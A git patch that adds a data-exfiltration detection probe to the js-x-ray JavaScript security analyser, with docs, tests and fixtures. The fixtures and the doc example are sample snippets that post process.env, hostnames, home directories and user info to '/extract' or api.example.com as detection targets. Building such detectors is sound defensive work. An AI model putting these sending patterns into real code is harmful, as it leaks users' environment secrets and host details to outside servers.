From 5c324241629adc4ca2987aad1c33366f24ac4fa3 Mon Sep 17 00:00:00 2001 From: cgombauld Date: Fri, 4 Jul 2025 08:31:18 +0200 Subject: [PATCH] feat(probes): add minimal implementation of data exfiltration probe --- .changeset/shaky-carpets-peel.md | 5 + docs/data-exfiltration.md | 48 +++ workspaces/js-x-ray/src/ProbeRunner.ts | 4 +- .../js-x-ray/src/probes/dataExfiltration.ts | 205 ++++++++++++ workspaces/js-x-ray/src/warnings.ts | 6 + .../test/probes/dataExfiltration.spec.ts | 297 ++++++++++++++++++ .../directCallExpression/axios.js | 11 + .../directCallExpression/http.js | 33 ++ .../memberExpression/duplicated.js | 5 + .../memberExpression/homedir-as-var.js | 6 + .../memberExpression/homedir.js | 6 + .../memberExpression/hostname-as-var.js | 6 + .../memberExpression/hostname.js | 6 + .../memberExpression/http-re-assigned.js | 38 +++ .../dataExfiltration/memberExpression/http.js | 34 ++ .../multiple-data-sent-as-array.js | 6 + .../multiple-data-sent-as-obj.js | 14 + .../multiple-data-sent-as-var.js | 13 + .../process.env-re-assigned.js | 4 + .../memberExpression/process.env.js | 5 + .../memberExpression/spreaded-array.js | 5 + .../memberExpression/spreaded-obj.js | 3 + .../memberExpression/user-info-as-var.js | 6 + .../memberExpression/user-info-property.js | 4 + .../memberExpression/user-info.js | 6 + 25 files changed, 775 insertions(+), 1 deletion(-) create mode 100644 .changeset/shaky-carpets-peel.md create mode 100644 docs/data-exfiltration.md create mode 100644 workspaces/js-x-ray/src/probes/dataExfiltration.ts create mode 100644 workspaces/js-x-ray/test/probes/dataExfiltration.spec.ts create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/axios.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/http.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/duplicated.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir-as-var.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname-as-var.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http-re-assigned.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-array.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-obj.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-var.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env-re-assigned.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-array.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-obj.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-as-var.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-property.js create mode 100644 workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info.js diff --git a/.changeset/shaky-carpets-peel.md b/.changeset/shaky-carpets-peel.md new file mode 100644 index 00000000..650b71a6 --- /dev/null +++ b/.changeset/shaky-carpets-peel.md @@ -0,0 +1,5 @@ +--- +"@nodesecure/js-x-ray": minor +--- + +feat(probes): add minimal implementation of data exfiltration probe diff --git a/docs/data-exfiltration.md b/docs/data-exfiltration.md new file mode 100644 index 00000000..b4535bd7 --- /dev/null +++ b/docs/data-exfiltration.md @@ -0,0 +1,48 @@ +# Data exfiltration + +| Code | Severity | i18n | Experimental | +| --- | --- | --- | :-: | +| data-exfiltration | `Warning` | `sast_warnings.data_exfiltration` | ❌ | + +## Introduction + +Data exfiltration is the unauthorized transfer of sensitive data from a computer or network to an external location. This can occur through malicious code, insider threats, or compromised systems. + +## Example + +```js +import http from "http"; +import os from "os"; + +const postData = os.hostname(); + +const options = { + hostname: 'api.example.com', + port: 80, + path: '/users', + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(postData) + } +}; + +const request = http.request; + +const req = request(options, (res) => { + console.log(`Status: ${res.statusCode}`); + console.log(`Headers: ${JSON.stringify(res.headers)}`); + + res.setEncoding('utf8'); + res.on('data', (chunk) => { + console.log(`Response: ${chunk}`); + }); +}); + +req.on('error', (e) => { + console.error(`Request error: ${e.message}`); +}); + +req.write(postData); +req.end(); +``` \ No newline at end of file diff --git a/workspaces/js-x-ray/src/ProbeRunner.ts b/workspaces/js-x-ray/src/ProbeRunner.ts index b37327ae..616b5c79 100644 --- a/workspaces/js-x-ray/src/ProbeRunner.ts +++ b/workspaces/js-x-ray/src/ProbeRunner.ts @@ -19,6 +19,7 @@ import isFetch from "./probes/isFetch.js"; import isUnsafeCommand from "./probes/isUnsafeCommand.js"; import isSyncIO from "./probes/isSyncIO.js"; import isSerializeEnv from "./probes/isSerializeEnv.js"; +import dataExfiltration from "./probes/dataExfiltration.js"; import type { SourceFile } from "./SourceFile.js"; import type { OptionalWarningName } from "./warnings.js"; @@ -70,7 +71,8 @@ export class ProbeRunner { isBinaryExpression, isArrayExpression, isUnsafeCommand, - isSerializeEnv + isSerializeEnv, + dataExfiltration ]; static Optionals: Record = { diff --git a/workspaces/js-x-ray/src/probes/dataExfiltration.ts b/workspaces/js-x-ray/src/probes/dataExfiltration.ts new file mode 100644 index 00000000..105e4cd5 --- /dev/null +++ b/workspaces/js-x-ray/src/probes/dataExfiltration.ts @@ -0,0 +1,205 @@ +// Import Third-party Dependencies +import { getCallExpressionIdentifier, getMemberExpressionIdentifier } from "@nodesecure/estree-ast-utils"; +import type { ESTree } from "meriyah"; +import type { AssignmentMemory, VariableTracer } from "@nodesecure/tracer"; +import { match } from "ts-pattern"; + +// Import Internal Dependencies +import { SourceFile } from "../SourceFile.js"; +import { generateWarning } from "../warnings.js"; + +// Constants +const kSensitiveNodeCoreModulesMethods = [ + "os.hostname", + "os.homedir", + "os.userInfo" +]; + +function validateNode( + node: ESTree.Node, + { tracer }: SourceFile +): [boolean, any?] { + const httpRequestAssignmentInMemory = tracer + .getDataFromIdentifier("http.request")?.assignmentMemory; + + if (httpRequestAssignmentInMemory && httpRequestAssignmentInMemory.length > 0) { + const lastRequestCreated = getLastReturnValue(httpRequestAssignmentInMemory); + if (lastRequestCreated && !tracer.getDataFromIdentifier(`${lastRequestCreated.name}.write`)) { + tracer.trace(`${lastRequestCreated.name}.write`, { + followConsecutiveAssignment: true + }); + } + } + + const id = getCallExpressionIdentifier(node); + + if (id === null) { + return [false]; + } + + const data = tracer.getDataFromIdentifier(id); + + if (tracer.importedModules.has("axios") && data?.identifierOrMemberExpr === "axios.post") { + return [true]; + } + + if ( + tracer.importedModules.has("http") && httpRequestAssignmentInMemory && httpRequestAssignmentInMemory.length > 0) { + if (httpRequestAssignmentInMemory.some(({ name }) => `${name}.write` === data?.identifierOrMemberExpr)) { + return [true]; + } + } + + return [false]; +} + +function getLastReturnValue(assignmentInMemory: AssignmentMemory[]) { + for (let i = assignmentInMemory.length - 1; i >= 0; i--) { + if (assignmentInMemory[i].type === "ReturnValueAssignment") { + return assignmentInMemory[i]; + } + } + + return null; +} + +function initialize( + sourceFile: SourceFile +) { + sourceFile.tracer.trace("axios.post", { + followConsecutiveAssignment: true, + moduleName: "axios" + }).trace("process.env", { + followConsecutiveAssignment: true + }).trace("os.hostname", { + moduleName: "os", + followConsecutiveAssignment: true, + followReturnValueAssignement: true + }).trace("os.homedir", { + moduleName: "os", + followConsecutiveAssignment: true, + followReturnValueAssignement: true + }) + .trace("os.userInfo", { + moduleName: "os", + followConsecutiveAssignment: true, + followReturnValueAssignement: true + }) + .trace("http.request", { + moduleName: "http", + followConsecutiveAssignment: true, + followReturnValueAssignement: true + }); +} + +function main( + node: ESTree.CallExpression, + { sourceFile }: { sourceFile: SourceFile; } +): void { + const exfilteredData = node.arguments.flatMap( + getExfilteredData(sourceFile.tracer) + ); + if (exfilteredData.length > 0) { + const warning = generateWarning( + "data-exfiltration", + { value: buildValue(exfilteredData), location: node.loc } + ); + sourceFile.warnings.push(warning); + } +} + +type ExfilteredData = { + name: string; + isCalled: boolean; +}; + +function buildValue(exfilteredData: ExfilteredData[]) { + return `[${[...new Set(exfilteredData.map(({ name, isCalled }) => (isCalled ? `${name}()` : name)))]}]`; +} + +function getExfilteredData(tracer: VariableTracer) { + function recur(arg: ESTree.Node | null): ExfilteredData[] { + if (arg === null) { + return []; + } + + return match(arg) + .with({ type: "MemberExpression" }, (memberExpr) => { + const memberExprId = [...getMemberExpressionIdentifier(memberExpr)].join("."); + if (memberExprId === "process.env") { + return [{ name: memberExprId, isCalled: false }]; + } + + if (memberExpr.object.type === "CallExpression" && getCallExpressionIdentifier(memberExpr.object) === "os.userInfo") { + return [{ name: "os.userInfo", isCalled: true }]; + } + + return []; + }) + .with({ type: "Identifier" }, (identifier) => { + const sensitiveMethods = kSensitiveNodeCoreModulesMethods + .filter(checkIdentifer({ identifier, tracer })) + .map((sensitiveMethod) => { + return { name: sensitiveMethod, isCalled: true }; + }); + + return tracer.getDataFromIdentifier("process.env")?.assignmentMemory + .some(({ name }) => name === identifier.name) ? + [{ name: "process.env", isCalled: false }, ...sensitiveMethods] : sensitiveMethods; + }) + .with({ type: "CallExpression" }, (callExpr) => { + const sensitiveMethod = kSensitiveNodeCoreModulesMethods.find(checkCallExpression({ callExpr, tracer })); + + if (sensitiveMethod) { + return [{ name: sensitiveMethod, isCalled: true }]; + } + + return []; + }) + .with({ type: "ObjectExpression" }, (objExpr) => objExpr.properties.flatMap((expr) => match(expr) + .with({ type: "Property" }, (prop) => recur(prop.value)) + .with({ type: "SpreadElement" }, (spreadExpr) => recur(spreadExpr.argument)) + .otherwise(() => []))) + .with({ type: "ArrayExpression" }, (arrayExpr) => arrayExpr.elements.flatMap(recur)) + .with({ type: "SpreadElement" }, (spreadExpr) => recur(spreadExpr.argument)) + .otherwise(() => []); + } + + return recur; +} + +function checkIdentifer({ + tracer, + identifier +}: { + tracer: VariableTracer; + identifier: ESTree.Identifier; +}) { + return (method: string) => tracer.getDataFromIdentifier(method)?.assignmentMemory + .some(({ name, type }) => name === identifier.name && type === "ReturnValueAssignment"); +} + +function checkCallExpression({ + tracer, + callExpr +}: { + tracer: VariableTracer; + callExpr: ESTree.CallExpression; +}) { + return (method: string) => { + const [moduleName] = method.split("."); + const id = getCallExpressionIdentifier(callExpr)!; + const data = tracer.getDataFromIdentifier(id); + + return tracer.importedModules.has(moduleName) && + data?.identifierOrMemberExpr === method; + }; +} + +export default { + name: "dataExfiltration", + validateNode, + main, + initialize, + breakOnMatch: false +}; diff --git a/workspaces/js-x-ray/src/warnings.ts b/workspaces/js-x-ray/src/warnings.ts index 4e36e3b5..7fdca810 100644 --- a/workspaces/js-x-ray/src/warnings.ts +++ b/workspaces/js-x-ray/src/warnings.ts @@ -26,6 +26,7 @@ export type WarningName = | "unsafe-command" | "unsafe-import" | "serialize-environment" + | "data-exfiltration" | OptionalWarningName; export interface Warning { @@ -103,6 +104,11 @@ export const warnings = Object.freeze({ i18n: "sast_warnings.serialize_environment", severity: "Warning", experimental: false + }, + "data-exfiltration": { + i18n: "sast_warnings.data_exfiltration", + severity: "Warning", + experimental: false } }) satisfies Record>; diff --git a/workspaces/js-x-ray/test/probes/dataExfiltration.spec.ts b/workspaces/js-x-ray/test/probes/dataExfiltration.spec.ts new file mode 100644 index 00000000..27626f0f --- /dev/null +++ b/workspaces/js-x-ray/test/probes/dataExfiltration.spec.ts @@ -0,0 +1,297 @@ +// Import Node.js Dependencies +import { readFileSync, promises as fs } from "node:fs"; +import { describe, test } from "node:test"; +import assert from "node:assert"; + +// Import Internal Dependencies +import { AstAnalyser } from "../../src/index.js"; + +const FIXTURE_URL = new URL("fixtures/dataExfiltration/", import.meta.url); + +describe("dataExfiltration", () => { + test("should be able to detect data exfiltration performed with member expressions", async() => { + const values: Record = { + "process.env.js": "[process.env]", + "process.env-re-assigned.js": "[process.env]", + "hostname.js": "[os.hostname()]", + "hostname-as-var.js": "[os.hostname()]", + "homedir.js": "[os.homedir()]", + "homedir-as-var.js": "[os.homedir()]", + "user-info.js": "[os.userInfo()]", + "user-info-as-var.js": "[os.userInfo()]", + "user-info-property.js": "[os.userInfo()]", + "multiple-data-sent-as-var.js": "[process.env,os.hostname(),os.homedir(),os.userInfo()]", + "multiple-data-sent-as-obj.js": "[os.hostname(),os.userInfo(),os.homedir(),process.env]", + "multiple-data-sent-as-array.js": "[process.env,os.homedir()]", + "spreaded-array.js": "[process.env]", + "spreaded-obj.js": "[process.env]", + "http.js": "[os.hostname()]", + "http-re-assigned.js": "[os.hostname()]", + "duplicated.js": "[process.env]" + }; + const fixturesDir = new URL("memberExpression/", FIXTURE_URL); + const fixtureFiles = await fs.readdir(fixturesDir); + + for (const fixtureFile of fixtureFiles) { + const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8"); + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(fixture); + + const [firstWarning] = outputWarnings; + assert.strictEqual(outputWarnings.length, 1); + assert.deepEqual(firstWarning.kind, "data-exfiltration"); + assert.strictEqual(firstWarning.value, values[fixtureFile]); + } + }); + + test("should be able to detect data exfiltration performed with direct call expressions", async() => { + const values: Record = { + "axios.js": "[process.env,os.hostname(),os.homedir(),os.userInfo()]", + "http.js": "[os.hostname()]" + }; + const fixturesDir = new URL("directCallExpression/", FIXTURE_URL); + const fixtureFiles = await fs.readdir(fixturesDir); + + for (const fixtureFile of fixtureFiles) { + const fixture = readFileSync(new URL(fixtureFile, fixturesDir), "utf-8"); + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(fixture); + + const [firstWarning] = outputWarnings; + assert.strictEqual(outputWarnings.length, 1); + assert.deepEqual(firstWarning.kind, "data-exfiltration"); + assert.strictEqual(firstWarning.value, values[fixtureFile]); + } + }); + + test("should be able to detect multiple data extraction with http", () => { + const code = ` + import http from "http"; + import os from "os"; + + const postData = os.userInfo().name; + +const options = { + hostname: 'api.example.com', + port: 80, + path: '/users', + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(postData) + } +}; + +const request = http.request; + +const req = request(options, (res) => { + console.log(res); +}); + +const req2 = request(options, (res) => { + console.log(res); +}); + +const request2 = http.request; + +req.on('error', (e) => { + console.error(e); +}); + +req2.write(os.hostname()); + +req.write(postData); + + +req.end(); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 2); + const [firstWarning, secondWarning] = outputWarnings; + + assert.deepEqual(firstWarning.kind, "data-exfiltration"); + assert.strictEqual(firstWarning.value, "[os.hostname()]"); + assert.deepEqual(secondWarning.kind, "data-exfiltration"); + assert.strictEqual(secondWarning.value, "[os.userInfo()]"); + }); + + test("should not detect data exfiltration with a not imported from axios", () => { + const code = ` + const axios = { + post(){} + }; + + axios.post("/send", process.env); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); + + test("should not detect data exfiltration with no sensitive data sent with axios", () => { + const code = ` + import axios from "axios"; + + const env = {}; + + await axios.post("/send", env); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); + + const fakeOs = `const os = { + hostname(){ + return "localhost" + }, + homedir(){ + return "/home/user" + }, + userInfo(){ + return {}; + } + }; + `; + + test("should not detect data exfiltration with os not imported from Node.js core", () => { + const code = ` + import axios from "axios"; + + ${fakeOs} + + axios.post("/send", os.hostname()); + axios.post("/send", os.homedir()); + axios.post("/send", os.userInfo()); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); + + test("should not detect data exfiltration with not imported from Node.js core for return values", () => { + const code = ` + import axios from "axios"; + + ${fakeOs} + + const hostname = os.hostname(); + const homedir = os.homedir(); + const userInfo = os.userInfo(); + + await axios.post("/send", hostname); + await axios.post("/send", homedir); + await axios.post("/send", userInfo); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); + + test("should not detect data exfiltration when os is imported but not passed as an argument", () => { + const code = ` + import axios from "axios"; + import os from "os"; + + await axios.post("/send", getData()); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); + + test("should not detect data exfiltration when http is not imported", () => { + const code = ` + const req = { + write(payload){ + console.log(payload); + } + } + + req.write(process.env); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); + + test("should not detect data exfiltration when req.write does not come from http.request", () => { + const code1 = ` + import http from "http"; + const req = { + write(payload){ + console.log(payload); + } + } + + req.write(process.env); + `; + + const code2 = ` + import http from "http"; + const request = http.request; + const req = { + write(payload){ + console.log(payload); + } + } + + req.write(process.env); + `; + const code3 = ` + import http from "http"; + const request = http.request; + const req = { + write(payload){ + console.log(payload); + } + } + const req2 = request(options, (res) => {console.log(res)}); + + req.write(process.env); + `; + const snipets = [code1, code2, code3]; + + for (const snipet of snipets) { + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(snipet); + + assert.strictEqual(outputWarnings.length, 0); + } + }); + + test("should not detect data exfiltration when passing traced function as argument instead of its return value", () => { + const code = ` + import os from "os"; + import axios from "axios"; + + const hostname = os.hostname; + const homedir = os.homedir; + const userInfo = os.userInfo; + + await axios.post("/extract", hostname); + await axios.post("/extract", homedir); + await axios.post("/extract", userInfo); + `; + + const { warnings: outputWarnings } = new AstAnalyser( + ).analyse(code); + + assert.strictEqual(outputWarnings.length, 0); + }); +}); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/axios.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/axios.js new file mode 100644 index 00000000..8579e361 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/axios.js @@ -0,0 +1,11 @@ +import { post } from "axios"; +import { hostname, homedir, userInfo} from "os"; + +const payload = { + hostName: hostname(), + getUserInfo: userInfo(), + homedir: homedir(), + env: process.env + }; + +await post("/extract", payload); \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/http.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/http.js new file mode 100644 index 00000000..f448ded8 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/directCallExpression/http.js @@ -0,0 +1,33 @@ +import { request } from "http"; +import { hostname } from "os"; + +const postData = hostname(); + +const options = { + hostname: 'api.example.com', + port: 80, + path: '/users', + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(postData) + } +}; + + +const req = request(options, (res) => { + console.log(`Status: ${res.statusCode}`); + console.log(`Headers: ${JSON.stringify(res.headers)}`); + + res.setEncoding('utf8'); + res.on('data', (chunk) => { + console.log(`Response: ${chunk}`); + }); +}); + +req.on('error', (e) => { + console.error(`Request error: ${e.message}`); +}); + +req.write(postData); +req.end(); \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/duplicated.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/duplicated.js new file mode 100644 index 00000000..ee5f4528 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/duplicated.js @@ -0,0 +1,5 @@ +import axios from "axios"; + +const post = axios.post; + +await post("/extract",[process.env, process.env]); \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir-as-var.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir-as-var.js new file mode 100644 index 00000000..d9d002f1 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir-as-var.js @@ -0,0 +1,6 @@ +import os from "os"; +import axios from "axios"; + +const homedir = os.homedir(); + +await axios.post("/extract", homedir); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir.js new file mode 100644 index 00000000..12dbf2ae --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/homedir.js @@ -0,0 +1,6 @@ +import os from "os"; +import axios from "axios"; + +const homedir = os.homedir; + +await axios.post("/extract", homedir()); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname-as-var.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname-as-var.js new file mode 100644 index 00000000..00419338 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname-as-var.js @@ -0,0 +1,6 @@ +import os from "os"; +import axios from "axios"; + +const hostname = os.hostname(); + +await axios.post("/extract", hostname); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname.js new file mode 100644 index 00000000..852f0d47 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/hostname.js @@ -0,0 +1,6 @@ +import os from "os"; +import axios from "axios"; + +const hostname = os.hostname; + +await axios.post("/extract", hostname()); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http-re-assigned.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http-re-assigned.js new file mode 100644 index 00000000..03433040 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http-re-assigned.js @@ -0,0 +1,38 @@ +import http from "http"; +import os from "os"; + +const postData = os.hostname(); + +const options = { + hostname: 'api.example.com', + port: 80, + path: '/users', + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(postData) + } +}; + +const request = http.request; + +const req = request(options, (res) => { + console.log(`Status: ${res.statusCode}`); + console.log(`Headers: ${JSON.stringify(res.headers)}`); + + res.setEncoding('utf8'); + res.on('data', (chunk) => { + console.log(`Response: ${chunk}`); + }); +}); + +const req2 = req; + +const write = req2.write; + +req.on('error', (e) => { + console.error(`Request error: ${e.message}`); +}); + +write(postData); +req2.end(); \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http.js new file mode 100644 index 00000000..ac0ba54c --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/http.js @@ -0,0 +1,34 @@ +import http from "http"; +import os from "os"; + +const postData = os.hostname(); + +const options = { + hostname: 'api.example.com', + port: 80, + path: '/users', + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(postData) + } +}; + +const request = http.request; + +const req = request(options, (res) => { + console.log(`Status: ${res.statusCode}`); + console.log(`Headers: ${JSON.stringify(res.headers)}`); + + res.setEncoding('utf8'); + res.on('data', (chunk) => { + console.log(`Response: ${chunk}`); + }); +}); + +req.on('error', (e) => { + console.error(`Request error: ${e.message}`); +}); + +req.write(postData); +req.end(); \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-array.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-array.js new file mode 100644 index 00000000..506f80eb --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-array.js @@ -0,0 +1,6 @@ +import axios from "axios"; +import os from "os"; + +const post = axios.post; + +await post("/extract", {data:[null,process.env ,[os.homedir()]]}); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-obj.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-obj.js new file mode 100644 index 00000000..64cb1e09 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-obj.js @@ -0,0 +1,14 @@ +import axios from "axios"; +import os from "os"; + +const post = axios.post; + + +await post("/extract", { + hostName: os.hostname(), + getUserInfo: os.userInfo(), + data: { + homedir: os.homedir(), + env: process.env + } + }); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-var.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-var.js new file mode 100644 index 00000000..94e6e903 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/multiple-data-sent-as-var.js @@ -0,0 +1,13 @@ +import axios from "axios"; +import os from "os"; + +const post = axios.post; + +const payload = { + hostName: os.hostname(), + getUserInfo: os.userInfo(), + homedir: os.homedir(), + env: process.env + }; + +await post("/extract", payload); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env-re-assigned.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env-re-assigned.js new file mode 100644 index 00000000..e2de42e6 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env-re-assigned.js @@ -0,0 +1,4 @@ +import axios from "axios"; + +const env = process.env; +await axios.post("/extract", env); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env.js new file mode 100644 index 00000000..c0ad26c5 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/process.env.js @@ -0,0 +1,5 @@ +import axios from "axios"; + +const post = axios.post; + +await post("/extract",process.env); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-array.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-array.js new file mode 100644 index 00000000..cfbcefe4 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-array.js @@ -0,0 +1,5 @@ +import axios from "axios"; + +const post = axios.post; + +await post("/extract",[null,[...[...[process.env]]]]); \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-obj.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-obj.js new file mode 100644 index 00000000..9ee3cf55 --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/spreaded-obj.js @@ -0,0 +1,3 @@ +import axios from "axios"; + +await axios.post("/extract", {...process.env}) \ No newline at end of file diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-as-var.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-as-var.js new file mode 100644 index 00000000..3a137eac --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-as-var.js @@ -0,0 +1,6 @@ +import os from "os"; +import axios from "axios"; + +const userInfo = os.userInfo(); + +await axios.post("/extract", userInfo); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-property.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-property.js new file mode 100644 index 00000000..37d0935e --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info-property.js @@ -0,0 +1,4 @@ +import os from "os"; +import axios from "axios"; + +await axios.post("/extract", os.userInfo().username); diff --git a/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info.js b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info.js new file mode 100644 index 00000000..979d11fa --- /dev/null +++ b/workspaces/js-x-ray/test/probes/fixtures/dataExfiltration/memberExpression/user-info.js @@ -0,0 +1,6 @@ +import os from "os"; +import axios from "axios"; + +const userInfo = os.userInfo; + +await axios.post("/extract", userInfo());